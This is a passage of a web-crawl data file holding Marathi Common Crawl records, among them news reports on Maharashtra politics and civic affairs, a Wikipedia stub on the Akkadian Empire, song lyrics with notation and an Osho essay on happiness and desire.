मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00330.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A5%8B%E0%A4%B2%E0%A5%80%E0%A4%B8-%E0%A4%85%E0%A4%A7%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A5%80-%E0%A4%B8%E0%A4%B0%E0%A4%95%E0%A4%BE%E0%A4%B0%E0%A4%9A%E0%A5%87-%E0%A4%AA%E0%A5%8D/", "date_download": "2018-09-25T17:38:05Z", "digest": "sha1:3PNPX7TT5BDUY76CDT5MONNV3KXRPC52", "length": 9843, "nlines": 150, "source_domain": "www.dainikprabhat.com", "title": "पोलीस अधिकारी सरकारचे प्रवक्ते आहेत का? | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nपोलीस अधिकारी सरकारचे प्रवक्ते आहेत का\nविखे-पाटील : अतिरिक्त पोलीस महासंचालकांसह पुणे पोलीस आयुक्‍तांना निलंबित करा\nमुंबई – साहित्यिक, विचारवंतांच्या अटकेबाबत सर्वोच्च न्यायालयाने राज्य सरकारसह पोलिसांची खरडपट्टी काढल्यानंतर मुख्यमंत्र्यांनी अतिरिक्त पोलीस महासंचालक व पुणे पोलीस आयुक्तांना तातडीने निलंबित करावे, अशी मागणी विधानसभेतील विरोधी पक्षनेते राधाकृष्ण विखे पाटील यांनी केली आहे.\nसर्वोच्च न्यायालयाचा निकाल आल्यानंतर प्रसारमाध्यमांशी बोलताना विखे-पाटील यांनी राज्य सरकारवर तोफ डागली. साहित्यिक आणि विचारवंतांच्या अटकेसंदर्भात या दोन्ही पोलीस अधिकाऱ्यांनी पत्रकार परिषद घेऊन सरकारला अनुकूल अशीच भूमिका मांडली होती. सरकारची भूमिका मांडायला हे पोलीस अधिकारी सरकारचे प्रवक्ते आहेत का, असा प्रश्न आम्ही त्याचवेळी उपस्थित केला होता. आज सर्वोच्च न्यायालयाच्या ताशेऱ्यांमुळे आमच्या भूमिकेवर जणू शिक्कामोर्तब केल्याची विरोधी पक्षनेत्यांनी यावेळी सांगितले.\nते म्हणाले की, अधिकाऱ्यांनी आपल्या मर्यादेत राहावे, असे खडे बोल सर्वोच्च न्यायालयाने आज सुनावले. हा सारा प्रकार सरकारला शरमेने मान खाली घालायला लावणारा आहे. त्यामुळे मुख्यमंत्र्यांनी तातडीने राज्याचे अतिरिक्त पोलीस महासंचालक आणि पुणे पोलीस आयुक्तांना तातडीने निलंबित करावे, अशी फेरमागणी राधाकृष्ण विखे-पाटील यांनी केली. सरकारने या दोन्ही अधिकाऱ्यांवर कारवाई न केल्यास या पत्रकार परिषद सरकारच्याच इशाऱ्यावर आयोजित करण्यात आल्याचे स्पष्ट होईल, असेही त्यांनी सांगितले.\nसरकारकडून राम कदम यांची पाठराखण\nमहिलांबाबत अवमानजनक विधान करणारे भाजप आमदार राम कदम यांची ट्‌वीटर माफी पुरेशी नसून, त्यांनी जाहीर माफी मागावी, अशी मागणी विरोधी पक्षनेते राधाकृष्ण विखे पाटील यांनी केली आहे. मागील तीन दिवस राम कदम गप्प बसून होते. संपूर्ण महाराष्ट्रात संताप उफाळून आल्यामुळे सरतेशेवटी त्यांनी माफी मागितली.\nमात्र, ही माफी ट्‌वीटरवर नव्हे तर सार्वजनिकपणे मागायला हवी होती. त्यांच्या याविधानाविरूद्ध महिला कॉंग्रेसने पोलिसांकडेही दाद मागितली. परंतु, पोलीस त्यांना अटक करायला तयार नाहीत. यावरून भाजप आणि सरकार राम कदम यांची पाठराखण करीत असल्याचे दिसून येते, असा आरोप राधाकृष्ण विखे पाटील यांनी यावेळी केला.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleकृषी अधिकाऱ्यांचे असहकार आंदोलन\nNext articleहाफिज सईदच्या मोकाट वावराबद्दल अमेरिकेलाही चिंता\nदेशाच्या चौकीदाराने गरीब, शहिदांचे पैसे अंबानींच्या खिशात घातले\nशरद पवारांनी खोटं बोलू नये\n5 हजार कोटी घेऊन गुजरातचा व्यापारी परदेशात फरार\nयशवंत आणि शत्रुघ्न सिन्हा आपकडून निवडणूक लढणार\nकुपोषणाशी मुकाबला करण्यासाठी ठोस यंत्रणा आहे का \nउत्तर भारतात पावसाचे थैमान; 8 जणांचा मृत्यू\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00330.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%85%E2%80%8D%E0%A5%85%E0%A4%95%E0%A5%87%E0%A4%A1%E0%A4%BF%E0%A4%AF%E0%A4%A8_%E0%A4%B8%E0%A4%BE%E0%A4%AE%E0%A5%8D%E0%A4%B0%E0%A4%BE%E0%A4%9C%E0%A5%8D%E0%A4%AF", "date_download": "2018-09-25T17:34:46Z", "digest": "sha1:E2G6TDNIEET3BZV67VKTPYBSZEMSXJ2H", "length": 8469, "nlines": 158, "source_domain": "mr.wikipedia.org", "title": "अ‍ॅकेडियन साम्राज्य - विकिपीडिया", "raw_content": "\nइ.स.पू. २३३४ - इ.स.पू. २१५४\nअ‍ॅकेडियन साम्राज्य हे मेसोपोटेमियामधील अ‍ॅकेड (सुमेरियन: अ‍ॅगेड) च्या शहराभोवती असलेले प्राचीन साम्राज्य होते.\nकृपया स्वत:च्या शब्दात परिच्छेद लेखन करून या लेखाचा / विभागाचा विस्तार करण्यास मदत करा.\nअधिक माहितीसाठी या लेखाचे चर्चा पान, विस्तार कसा करावा किंवा इतर विस्तार विनंत्या पाहा.\nअ‍ॅकेडियन · इजिप्शियन · कुशाचे राज्य · पुंताचे राज्य · अ‍ॅझानियन · असिरियन · बॅबिलोनियन · अ‍ॅक्सुमाइट · हिटाइट · आर्मेनियन · पर्शियन (मीड्ज · हखामनी · पर्थियन · सासानी) · मॅसिडोनियन (प्टॉलेमिक · सेल्युसिद) · भारतीय (मौर्य · कुषाण · गुप्त) · चिनी (छिन · हान · जिन) · रोमन (पश्चिमी · पूर्वी) · टेओटिवाकान\nबायझेंटाईन · हूण · अरब (रशिदुन · उमायद · अब्बासी · फातिमी · कोर्दोबाची खिलाफत · अय्युबी) · मोरक्कन (इद्रिसी · अल्मोरावी · अल्मोहद · मरिनी) · पर्शियन (तहिरिद · सामनिद · बुयी · सल्लरिद · झियारी) · गझनवी · बल्गेरियन (पहिले · दुसरे) · बेनिन · सेल्झुक · ओयो · बॉर्नू · ख्वारझमियन · आरेगॉनी · तिमुरिद · भारतीय (चोळ · गुर्जर-प्रतिहार · पाल · पौर्वात्य गांगेय घराणे · दिल्ली) · मंगोल (युआन · सोनेरी टोळी · चागताई खानत · इल्खानत) · कानेम · सर्बियन · सोंघाई · ख्मेर · कॅरोलिंजियन · पवित्र रोमन · अंजेविन · माली · चिनी (सुई · तांग · सोंग · युआन) · वागदोवु · अस्तेक · इंका · श्रीविजय · मजापहित · इथिओपियन (झाग्वे · सॉलोमनिक) · सोमाली (अजूरान · वर्संगली) · अदलाई\nतोंगन · भारतीय (मराठे · शीख · मुघल) · चिनी (मिंग · छिंग) · ओस्मानी · पर्शियन (सफावी · अफ्शरी · झांद · काजार · पहलवी) · मोरक्कन (सादी · अलोइत) · इथियोपियन · सोमाली (देर्विश · गोब्रून · होब्यो) · फ्रान्स (पहिले · दुसरे) · ऑस्ट्रियन (ऑस्ट्रॉ-हंगेरीयन) · जर्मन · रशियन · स्वीडिश · मेक्सिकन (पहिले · दुसरे) · ब्राझील · कोरिया · जपानी · हैती (पहिले · दुसरे)\nपोर्तुगीज · स्पॅनिश · डॅनिश · डच · ब्रिटिश · फ्रेंच · जर्मन · इटालियन · बेल्जियन\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल ६ मार्च २०१५ रोजी १९:३१ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00330.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://poojamundale.blogspot.com/2013/03/blog-post.html", "date_download": "2018-09-25T17:22:59Z", "digest": "sha1:DJGKH6IV5GUWVEPE2NIDU5LJFGCPOJJQ", "length": 1808, "nlines": 49, "source_domain": "poojamundale.blogspot.com", "title": "Kaladalan कलादालन", "raw_content": "\n\"जे शक्य साध्य आहे , निर्धार दे कराया\nजे टाळणे अशक्य दे , शक्ती दे सहाया\nमज काय शक्य आहे , आहे अशक्य काय\nमाझे मला काळाया , दे बुद्धी देवराय\"\nनमस्कार मित्रहो कलादालनात आपल हार्दिक स्वागत…\nकलादालनाला भरभरून प्रतीसाथ देणाऱ्या सर्वाचे खूप खूप आभार…. धन्यवाद … \nकलादालनात एकाचवेळी तयार होणाऱ्या फुलदाण्या फक्त तुमच्यासाठी……………\nकलादालन तयार होत आहेत सुंदर रांगोळी\nकलादालनात तयार झालेले सुंदर दिवे ......\nश्री गणेशाय नमः \"जे शक्य साध्य आहे , निर्धार दे कर...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00331.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "http://www.pudhari.news/news/Belgaon/belgaon-bhide-guruji-sabha-permission-denied/", "date_download": "2018-09-25T17:08:22Z", "digest": "sha1:QRDGPBXK6ZA2FEY4XV4GTRE4HFLOEFCI", "length": 4312, "nlines": 34, "source_domain": "www.pudhari.news", "title": " भिडे गुरूजींच्या सभेला परवानगी नाकारली | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Belgaon › भिडे गुरूजींच्या सभेला परवानगी नाकारली\nभिडे गुरूजींच्या सभेला परवानगी नाकारली\nसंभाजी भिडे यांची सभा आज (बुधवार) चिकोडी येथे आयोजित करण्यात आली होती. मात्र, कायदा आणि सुव्यवस्थेच्या कारणास्तव जिल्ह्याधिकारी झियाउल्ला यांनी सभेला परवानगी नाकारली आहे. भिडे यांच्यावर बेळगाव जिल्ह्यात प्रवेश बंदी घालण्यात आली आहे. ७ मार्चपर्यंत त्यांना जिल्ह्यात प्रवेश बंदी आहे.\nयापूर्वीही भिमा कोरेगाव दंगल प्रकरणानंतर भिडे यांच्या बेळगावातील सभेला परवानगी नाकारण्यात आली होती. त्यावेळी सुद्घा त्यांना जिल्हा प्रवेश बंदी घातली होती. त्यातच दोन दिवसांपूर्वी शिवप्रतिष्ठानच्या कार्यकर्त्यांनी बेळगावात श्रीमंत कोकाटे यांच्या कार्यक्रमात गोंधळ घातला होता. या गोंधळामुळे कोकाटे यांचे व्याख्यान ऐनवेळी रद्द करण्यात आले होते. याची दखल घेत जिल्हा प्रशासनाने भिडे यांना जिल्हा प्रवेश नाकारला असून त्यांच्या सभेलाही परवानगी देण्यात आलेली नाही.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00331.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%85-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%AD%E0%A4%BE%E0%A4%97%E0%A4%BE%E0%A4%A4%E0%A5%80%E0%A4%B2-%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A4%B2%E0%A4%82%E0%A4%AC%E0%A4%BF%E0%A4%A4-%E0%A4%AA%E0%A5%8D/", "date_download": "2018-09-25T17:57:42Z", "digest": "sha1:5TRZG7MF3U2XVF5AOP5OIGEUWM3LQA4C", "length": 8063, "nlines": 72, "source_domain": "pclive7.com", "title": "‘अ’ प्रभागातील प्रलंबित प्रश्न सोडविण्यास प्रथम प्राधान्य देणार – महापौर राहुल जाधव | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome Uncategorized ‘अ’ प्रभागातील प्रलंबित प्रश्न सोडविण्यास प्रथम प्राधान्य देणार – महापौर राहुल जाधव\n‘अ’ प्रभागातील प्रलंबित प्रश्न सोडविण्यास प्रथम प्राधान्य देणार – महापौर राहुल जाधव\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड महापालिकेच्या ‘अ’ प्रभागात इतर प्रभागाच्या तुलनेत अधिक झोपडपट्ट्यांचा भाग आहे. या प्रभागातील पाणी, कचरा, आरोग्याविषयी प्रश्न सोडविण्यासाठी सर्वोतोपरी मदत करणार असून प्रथम प्राधान्य देणार असल्याची, ग्वाही महापौर राहुल जाधव यांनी दिली.\nपिंपरी चिंचवड शहराचे नवनिर्वाचित महापौर राहुल जाधव, उपमहापौर सचिन चिंचवडे ‘अ’ प्रभागाच्या सभेला उपस्थित राहिले. त्यानिमित्त प्रभागाच्या अध्यक्षा अनुराधा गोरखे यांनी महापौर, उपमहापौरांचा सत्कार केला. माजी उपमहापौर शैलजा मोरे, राजू मिसाळ, नगरसेवक अमित गावडे, जावेद शेख, शितल शिंदे, प्रमोद कुटे, शैलेश मोरे, केशव घोळवे, नगरसेविका वैशाली काळभोर, शर्मिला बाबर, कोमल मेवाणी, स्वीकृत सदस्य राजू सावंत यांच्यासह पाणीपुरवठा, स्थापत्य विभागाचे सर्व अधिकारी उपस्थित होते.\n‘अ’ प्रभागाच्या अध्यक्षा अनुराधा गोरखे म्हणाल्या, इतर प्रभागाच्या तुलनेने अधिक झोपडपट्ट्यांचा भाग हा ‘अ’ प्रभागाच्या कार्यक्षेत्रात येतो. तेथे पाणी, वीज आणि स्वच्छताविषयक चांगल्या सोयी, सुविधा देणे गरजेचे आहे. त्यासाठी महापौरांनी आम्हाला सहकार्य करावे.\nत्यावर महापौर राहुल जाधव म्हणाले, ‘अ’ प्रभागात झोपडपट्टीचा भाग अधिक आहे. त्यातुलनतेच प्रभागातील नागरिकांना अधिकच्या सुविधा मिळाल्या पाहिजेत. प्रभागातील कामासाठी आवश्यक मदत करण्यास आपण तयार आहोत. पाणी, कचरा हे प्रश्न सोडविण्यासाठी सहकार्य करण्यात येईल.\nशालेय पाठ्यपुस्तकात साईबाबांविषयी धडा सुरु करा; साई सेवा प्रतिष्ठानचे अध्यक्ष सुभाष नेलगे यांची शिक्षणमंत्र्यांकडे मागणी\nपिंपरी चिंचवड पोलीस आयुक्तालयाचे संपर्क क्रमांक जाहिर\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00332.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "http://www.ganimarathi.com/2018/04/blog-post_56.html", "date_download": "2018-09-25T17:56:42Z", "digest": "sha1:GXC62YCVC2FDY73V57TEWSXYEMITVN6J", "length": 4621, "nlines": 122, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: मन मंदिरा - कट्यार काळजात घुसली", "raw_content": "मराठी कविता आणि गाणी\nमन मंदिरा - कट्यार काळजात घुसली\nमन मंदिरा तेजाने उजळुन घेई साधका\nसंवेदना ...... संवेदना संवादे सहवेदना जपताना\nतळ हाताच्या रेषांनी सहज सूखा का भोगी कोणी\nभर पंखातून स्वप्न उद्याचे (२)\nझेप घेरे पखरा उजळुन घेई साधका\nमन मंदिरा तेजाने उजळुन घेई साधका\nनी नी सा सा नी नी सा सा\nनी रे सा सा नी रे सा सा नी सा प\nमपप मपप मपप मपप मपनीधप मगरेमगरे सानीसा\nनी नी सा सा नी नी सा सा\nम म प म प नी ध प म म प म प नी ध प\nप नी सा रे रे रे प नी सा म ग रे\nरे ग रे ग रे सा सा नी ध नी ध प\nरे ग रे ग रे सा नी सा रे रे सा नी रे म ध नी\nप नी सा प नी सा प नी सा प नी सा रे रे\nरे ग रे ग रे सा\nनीरे नीमम रेगग सारेरेनीसासा सारेसानी रे़रे़रे़रे़ रेरेमगरे सारेसानी पमगरे मपनीसासासा नीसा नीसा नीसा नीसा नीसा नीसा नीसा नीसा नीसा ... आ... आ... आ...\nचित्रपट - कट्यार काळजात घुसली\nस्वर - शंकर महादेवन\nसंगीत - शंकर एहसान लॉय\nगीत - मंदार चोलकर\nतळटीप : सदर आलापी अचूक नसून फ़क्त जेवढी शक्य झाली तेवढीच दिली आहे.\nश्रावण मासी हर्ष मानसी\nराजा शिवछत्रपती मालिकेचे शीर्षकगीत\nनवरी आली - तुझ्या माझ्या संसाराला आणि काय हवे\nआताशा.. असे हे - आयुष्यावर बोलू काही\nतुझ्या रूपाच - ख्वाडा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00332.warc.wet.gz", "language": "mr", "language_score": 0.57, "bucket": "all"} {"url": "https://www.loksatta.com/osho-mhane-news/osho-philosophy-part-10-1646848/", "date_download": "2018-09-25T17:11:43Z", "digest": "sha1:PBZNLPEYQ6SFFNT3AUT6RF6TUF6ZC2RJ", "length": 31035, "nlines": 223, "source_domain": "www.loksatta.com", "title": "Osho Philosophy Part 10 | आनंदी आनंद चोहीकडे | Loksatta", "raw_content": "\nकाँग्रेस महाआघाडीत बसपलाही घेण्याचा प्रयत्न\nअतिरिक्त विजेपोटी ३८५० कोटी रुपयांचा भुर्दंड\nली चोंग वेईला नाकाचा कर्करोग\n‘डीजे मुक्त’ मिरवणुकीसाठी पोलिसांची खास पथके\nनोटाबंदीने सामान्य माणूस उद्ध्वस्त- विखे\nमाणसाला हवा असतो आनंद, परिपूर्ण आणि शुद्ध आनंद, कारण तिथेच सगळ्या इच्छा संपतात.\nमाणसाला हवा असतो आनंद, परिपूर्ण आणि शुद्ध आनंद, कारण तिथेच सगळ्या इच्छा संपतात. जोपर्यंत इच्छा आहेत, तोवर दु:ख आहे, कारण जिथे इच्छा आहे, तिथे शांती असूच शकत नाही. इच्छा पूर्णपणे संपल्या आहेत अशी अवस्था आनंद घेऊन येते. या आनंदासोबत स्वातंत्र्य आणि मुक्तीही येते, कारण जिथे अपूर्णत्वाची भावना असते, तिथे बंधन आणि अवलंबित्वही असतंच. जिथे कशाचाही अभाव नसतो, तिथे पूर्ण स्वातंत्र्याची शक्यता असते.. स्वातंत्र्यासोबत आनंद येतो आणि आनंद म्हणजे मोक्ष पूर्ण आनंद आणि अंतिम स्वातंत्र्याची इच्छा प्रत्येकामध्ये सुप्त स्वरूपात असतेच. ती एका बीजाच्या स्वरूपात असते. या बीजामध्ये एक झाड दडलेलं असतं. त्याचप्रमाणे, मानवाच्या अंतिम इच्छेचं समाधान त्याच्या स्वभावातच कुठे तरी दडलेलं असतं. ही एक पूर्णपणे विकसित अवस्था आहे. आनंदी असणं, स्वतंत्र असणं हा आपला स्वभाव आहे. आपला खरा स्वभाव ही एकच गोष्ट सत्य आहे आणि तिला परिपूर्णतेकडे नेलं तर पूर्ण समाधान लाभू शकतं.\nआपल्या स्वत:च्या स्वभावाचं समाधान करण्याचा प्रयत्न जो माणूस करत नाही, तो वैभवामुळे सर्व दु:खं दूर होतील या गैरसमजात राहतो; पण भौतिक संपदा कधीही त्याच्या आतील रिक्तता भरून काढू शकत नाही आणि म्हणून, एखादा माणूस जगातील शक्य ते सारं मिळवतो; पण तरीही त्याला काही तरी राहून गेलंय असं वाटत राहतं. त्याचा गाभा रिकामाच राहतो. बुद्ध एकदा म्हणाले होते, ‘‘इच्छेचं समाधान करणं कठीण आहे.’’\nमाणसाने कितीही यश संपादन केलं, तरी तो कधीच समाधानी नसतो हे काहीसं विचित्र आहे. त्याला आणखी मोठं यश हवंसं वाटतं आणि म्हणून भिकाऱ्याची आणि सम्राटाची गरिबी सारखीच असते. या स्तरावर, त्यामध्ये काहीसुद्धा फरक नसतो.\nबाहेरच्या जगात माणसाने काहीही कमावलं, तरी ते अस्थिर आहे. ते हरवू शकतं, कधीही नष्ट होऊ शकतं आणि अखेरीस मृत्यू सगळ्याचा घास घेतोच. त्यामुळे अशा प्रकारच्या सहजपणे हिरावल्या जाऊ शकणाऱ्या गोष्टींनी कोणाच्याही हृदयाचं आतून समाधान होत नाही, यात आश्चर्य वाटण्यासारखं काहीच नाही. अशा प्रकारचं वैभव माणसाला कधीही सुरक्षिततेची जाणीव देत नाही, त्याने या वैभवाचा कितीही कष्टाने पाठलाग केला तरी. खरं तर काय घडतं, माणसाला त्याने प्राप्त केलेल्या वस्तू सुरक्षित ठेवण्यासाठीही प्रयोजन करावं लागतं.\nबाह्य़ सत्ता आणि वैभव यामुळे एखाद्याच्या मनातली काही तरी हवं असल्याची भावना, असुरक्षितता, भीती नाहीशी होत नाही, हे प्रथम स्पष्टपणे समजून घेणं गरजेचं आहे. या भावना लपवण्याचा एकमेव मार्ग म्हणजे आत्मवंचना. समृद्धीचा नेहमीच कैफ चढतो; त्यामुळे आयुष्यातलं वास्तव विसरलं जातं आणि अशा प्रकारचा विसराळूपणा हा गरिबीपेक्षा वाईट असतो, कारण या खऱ्याखुऱ्या गरिबीचं निवारण करण्यापासून माणसाला हा विसराळूपणा रोखतो.\nदारिद्रय़ हाही एक मादक पदार्थच आहे; तोही आयुष्यातलं वास्तव लपवतो. कोणत्याही भौतिक गोष्टीच्या अभावामुळे दारिद्रय़ येत नाही किंवा दारिद्रय़ म्हणजे श्रीमंती किंवा समृद्धीची कमतरताही नव्हे, कारण एखादा माणूस श्रीमंत आणि प्रभावशाली झाला, तरीही त्याच्या ठायी गरिबी असतेच. ज्यांच्याकडे सर्व काही आहे असं भासतं, त्यांची गरिबी तुम्ही बघू शकत नाही का तुमच्या मालकीच्या भौतिक गोष्टींमुळे कधी ओझं हलकं झालंय तुमच्यावरचं\nसमृद्धी आणि समृद्धीचा भ्रम यांच्यात खूप मोठा फरक आहे. ही बाह्य़ संपत्ती, शक्ती आणि सुरक्षितता या तुमच्या आतमध्ये वसत असलेल्या श्रीमंतीच्या केवळ सावल्या आहेत. तुम्हाला गरिबीची भावना जाणवते ती बाह्य़ जगातील काही तरी साध्य करता आलं नाही म्हणून नव्हे, तर स्वत:पासून पाठ फिरवल्यामुळे आणि म्हणूनच ही भावना बाहेरच्या कशानेही नष्ट होणार नाही, ती आतून काढून टाकायला हवी.\nपरमानंद हा स्वत्वाचा स्वभाव आहे. हा काही स्वत्वाचा गुण नाही, तर स्वत्वाचं सार आहे. आनंदाचं स्वत्वाशी नातं नाही, तर स्वत्व हाच आनंद आहे. ती एकाच सत्याची दोन नावं आहेत. आम्ही स्वत्व म्हणजे आनंद असं म्हणतो ते काहीशा अनुभवात्मक दृष्टिकोनातून, त्यामुळे तुम्हाला आनंद आणि खरा आनंद यात गल्लत होणार नाही याची काळजी घ्यावी लागेल. खरा आनंद म्हणजेच स्वत्व. जेव्हा हा आनंद सापडतो, तेव्हा सर्व गोष्टींचा शोध संपतो. फसवा आनंद साध्य झाला, की हा शोध अधिक तीव्र होतो आणि गमावण्याची भीतीही तीव्र होते, असा आनंद मन:शांती ढळून टाकतो. माणसाची तृषा वाढवणारं पाणी हे खरं पाणी नव्हेच. ख्रिस्त म्हणाले होते, ‘‘या, मला तुम्हाला अशा एका विहिरीकडे घेऊन जाऊ द्या, जिचं पाणी तुमची तहान कायमस्वरूपी भागवेल.’’\nआपण सुख आणि आनंद यात कायम गल्लत करत राहतो. सुख ही केवळ एक सावली आहे, आनंदाचं केवळ प्रतिबिंब आहे. मात्र, आनंदाचा हा आभास म्हणजेच आयुष्य आहे या भ्रमात बहुतेक लोक जगतात आणि मग साहजिकच अखेरीस त्यांच्या वाटय़ाला निराशा येते. हे म्हणजे चंद्राचं प्रतिबिंब म्हणजेच खरा चंद्र असं समजून तो पकडायचा प्रयत्न करण्यासारखं आहे. तळ्यात पडलेलं चंद्राचं प्रतिबिंब पकडण्यासाठी खोल खोल पाण्यात शिरणारा माणूस खऱ्या चंद्रापासून अधिकाधिक दूर जात असतो. आणि त्याचप्रमाणे, सुखाच्या शोधातली माणसं आनंदापासून अधिकाधिक दूर जात राहतात. हा रस्ता केवळ दु:खाकडे घेऊन जातो. तुम्हाला मी सांगतोय, त्यातलं सत्य लक्षात येतंय का सुखाच्या पाठीमागे धावलं तर केवळ दु:ख वाटय़ाला येतं हे तुमच्या आयुष्यानेही बघितलं असेलच; पण ते अगदी नैसर्गिक आहे. प्रतिबिंब वरकरणी तंतोतंत मूळ गोष्टीसारखंच भासतं, पण ते वास्तव अजिबात नसतं.\nप्रत्येक सुखामध्ये आनंदाचा वायदा असतो, किंबहुना सुख म्हणजे आनंदच असं ही सुखं सांगत असतात – पण सुख ही आनंदाची केवळ सावली आहे. त्यामुळे सुखाला आनंद म्हणून स्वीकारल्याची परिणती अपयशात आणि खेदाच्या भावनेत होते. तुमची सावली धरून मी तुम्हाला कसं पकडू शकेन आणि तुमची सावली मी अगदी पकडली, तरी ती माझ्या हातात येईल का\nलक्षात ठेवा, प्रतिबिंब हे नेहमी बिंबाच्या विरुद्ध असतं. मी आरशासमोर उभा राहिलो, तर मी प्रत्यक्षात जसा उभा आहे, त्याचा बरोबर उलट माझं प्रतिबिंब दिसेल आणि हे सुखाबाबतही खरं आहे. सुख हे आनंदाचं केवळ प्रतिबिंब आहे. आनंद हा अंत:स्थ गुण आहे, तर सुख हे बाह्य़ प्रदर्शन आहे. सुख केवळ भौतिक जगात अस्तित्वात असते. केवळ आनंदातच कल्याण असतं. सुखाचा शोध सुरू ठेवून बघा आणि मी सांगतोय ते किती खरं आहे हे तुमच्याच लक्षात येईल. सर्व सुखांची अखेर दु:खात होते.\nपण काही वेळा जे अखेरीस असतं, तेच सुरुवातीलाही असू शकतं. तुमची दृष्टी तेवढी खोलवर पोहोचू शकत नाही, त्यामुळे तुम्हाला जे सुरुवातीला लक्षात यायला हवं ते शेवटी कळतं. एखाद्या घटनेच्या अखेरीस जे समोर आलं, ते सुरुवातीला नव्हतंच, असं तर शक्य नाही. अखेर ही प्रारंभाचीच तर विकसित अवस्था असते. सुरुवातीला लपलेलं असतं, ते अखेरीस समोर येतं.\nपण तुम्ही गोष्टींकडे उलटय़ा क्रमाने बघा- अर्थात तुम्हाला काही दिसत असेल तर. पुन:पुन्हा तुम्हाला दु:खाकडे, वेदनेकडे, पश्चात्तापाकडे नेणाऱ्या रस्त्यांवरूनच तुम्ही चालत राहता. शेवटी दु:खच पदरी पडणार आहे, तर माणूस त्याच त्या गोष्टी पुन:पुन्हा का करत राहतो का कदाचित त्याला समोर दुसरा कोणता 